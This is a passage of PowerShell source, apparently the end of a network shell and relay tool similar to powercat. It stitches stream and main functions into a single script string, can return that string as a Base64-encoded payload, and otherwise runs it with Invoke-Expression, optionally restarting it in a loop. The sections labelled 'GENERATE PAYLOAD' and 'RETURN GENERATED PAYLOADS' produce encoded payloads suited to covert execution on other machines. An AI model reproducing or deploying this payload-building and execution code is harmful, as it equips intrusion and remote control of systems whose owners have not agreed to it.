$FunctionString += ("function Stream2_ReadData`n{`n" + ${function:ReadData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_WriteData`n{`n" + ${function:WriteData_Console} + "`n}`n`n")
$FunctionString += ("function Stream2_Close`n{`n" + ${function:Close_Console} + "`n}`n`n")
$InvokeString += ("@('" + $o + "')")
}
if($ep){$FunctionString += ("function Main`n{`n" + ${function:Main_Powershell} + "`n}`n`n")}
else{$FunctionString += ("function Main`n{`n" + ${function:Main} + "`n}`n`n")}
$InvokeString = ($FunctionString + $InvokeString)
########## GENERATE PAYLOAD ##########
########## RETURN GENERATED PAYLOADS ##########
if($ge){Write-Verbose "Returning Encoded Payload..." ; return [Convert]::ToBase64String([System.Text.Encoding]::Unicode.GetBytes($InvokeString))}
elseif($g){Write-Verbose "Returning Payload..." ; return $InvokeString}
########## RETURN GENERATED PAYLOADS ##########
########## EXECUTION ##########
$Output = $null
try
{
if($rep)
{
while($True)
{
$Output += IEX $InvokeString
Start-Sleep -s 2
Write-Verbose "Repetition Enabled: Restarting..."
}
}
else
{
$Output += IEX $InvokeString
}
}
finally
{
if($Output -ne $null)
{
if($of -eq ""){$Output}
else{[io.file]::WriteAllBytes($of,$Output)}
}
}
########## EXECUTION ##########
}